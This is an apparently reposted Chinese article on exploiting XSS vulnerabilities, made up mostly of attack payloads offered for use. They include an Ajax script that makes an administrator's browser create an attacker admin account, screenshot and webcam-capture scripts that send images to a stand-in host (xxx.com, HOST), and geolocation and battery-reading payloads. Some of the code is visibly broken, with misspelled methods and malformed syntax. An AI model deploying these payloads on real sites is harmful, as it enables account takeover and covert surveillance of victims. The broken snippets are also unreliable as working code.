3C科技 娛樂遊戲 美食旅遊 時尚美妝 親子育兒 生活休閒 金融理財 健康運動 寰宇綜合

Zi 字媒體

2017-07-25T20:27:27+00:00
加入好友
今天就來講一下大家都熟悉的 xss漏洞的滲透利用。相信大家對xss已經很熟悉了,但是很多安全人員的意識里 xss漏洞危害只有彈窗或者竊取cookie。但是xss還有更多的花式玩法,今天將介紹幾種。xss滲透添加管理員後台觸發存儲型XSS,網站設置http-only,竊取的cookie無效。那麼如何在這種情況下利用xss漏洞。無法獲取cookie,但是我們可以利用xss漏洞,以管理員的許可權,添加一個新的管理員。沒錯,就是讓管理員給我們加一個高許可權賬號。這裡我們會用到 JavaScript和Ajax 技術。 利用xmlhttp 發送一個http請求,在後台發送一個添加管理員的post請求。var request = false;if(window.XMLHttpRequest) { request = new.XMLHttpRequest; if(request.overrideMimeType) { request.overrideMimeType('text/html'); }} else if(Window.ActiveXObject) { var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'}; for(var i=0; i<versions.length; i ++){ try{ request = new ActiveXObject(versions); }catch(e){}}}xmlhttp = request;add_admin;function add_admin{ var url = "/admin/admin_add_user.php"; //添加用戶請求地址 var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用戶post數據 xmlhttp.open("POST",url,true); xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded") xmlhttp.setRequstHeader("Content-length",params.length); xmlhttp.setRequstHeader("Connection","close") }xss截取客戶的屏幕現在隨著技術的進步,前端技術支持的面非常廣泛。xss漏洞可以利用html5的 canvas 來進行屏幕的截屏功能,類似於遠程控制木馬查看對方屏幕功能。這個可以大大的提高對於進一步入侵的信息收集。廢話不說直接上代碼。這裡需要用到一個js庫 html2canvas.jsdocument.write("<script src="html2canvas.js\><\/script>");window.onload=function{ html2canvas(document.body, { onrendered: function(canvas) {//下面開始把抓取到的屏幕圖片代碼傳輸和接收,由於代碼非常的長,只能使用postxhr=function{ var request = false; if(window.XMLHttpRequest){ request = new XMLHttpRequest; }else if (window.ActiveXObject){ try{ request = new window.ActiveXObject('Microsoft.XMLHTTP'); }catch(e){} }return request;};request = function(method,src,argv,content_type){ xhr.open(method,src,false); if(method=='POST')xhr.setRequestHeader('Content-type',content_type); xhr.send(argv); //發送POST數據 return xhr.responseText;};attack_a = function{ var src = "http://xxx.com/xss.php?"; //post接收地址 var argv_0 = "'&screenshot="+canvas.toDataURL; //post欄位名稱為screenshot request("POST",src,argv_0,"application/x-www-form-urlencoded");};attack_a;} }); }上面的代碼是針對 pc端的截屏,手機端的截屏xss代碼有所不同<script>d=document;v=d.createElement('video');c=d.createElement('canvas');c.width=640;c.height=480;navigator.webkitGetUserMedia({'video':true},function(s){v.src=URL.createObjectURL(s);v.play},function{});c2=c.getContext('2d');x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL)';setInterval(x,5000);</script>這兩種服務端獲取到的post數據包是 base64格式的 ,我們只要進行轉碼即可看到對方的屏幕截圖。xss對移動端的滲透現在越來越多的人喜歡用手機查看網頁,xss針對手機端的支持也很友好。這裡只針對手機端Firefox瀏覽器說明。xss獲取對方經緯度代碼<script>navigator.geolocation.getCurrentPosition(function(p){alert('Latitude:'+p.coords.latitude+',Longitude:'+p.coords.longitude+',Altitude:'+p.coords.altitude);})</script>xss獲取電池狀態的代碼,這裡需要用到JavaScript Battery API<svg onload=alert(navigator.battery.level)><svg onload=alert(navigator.battery.dischargingTime)><svg onload=alert(navigator.battery.charging)>下面閱讀原文,有啥 ?

本文由yidianzixun提供 原文連結

寫了 5860316篇文章,獲得 23313次喜歡
精彩推薦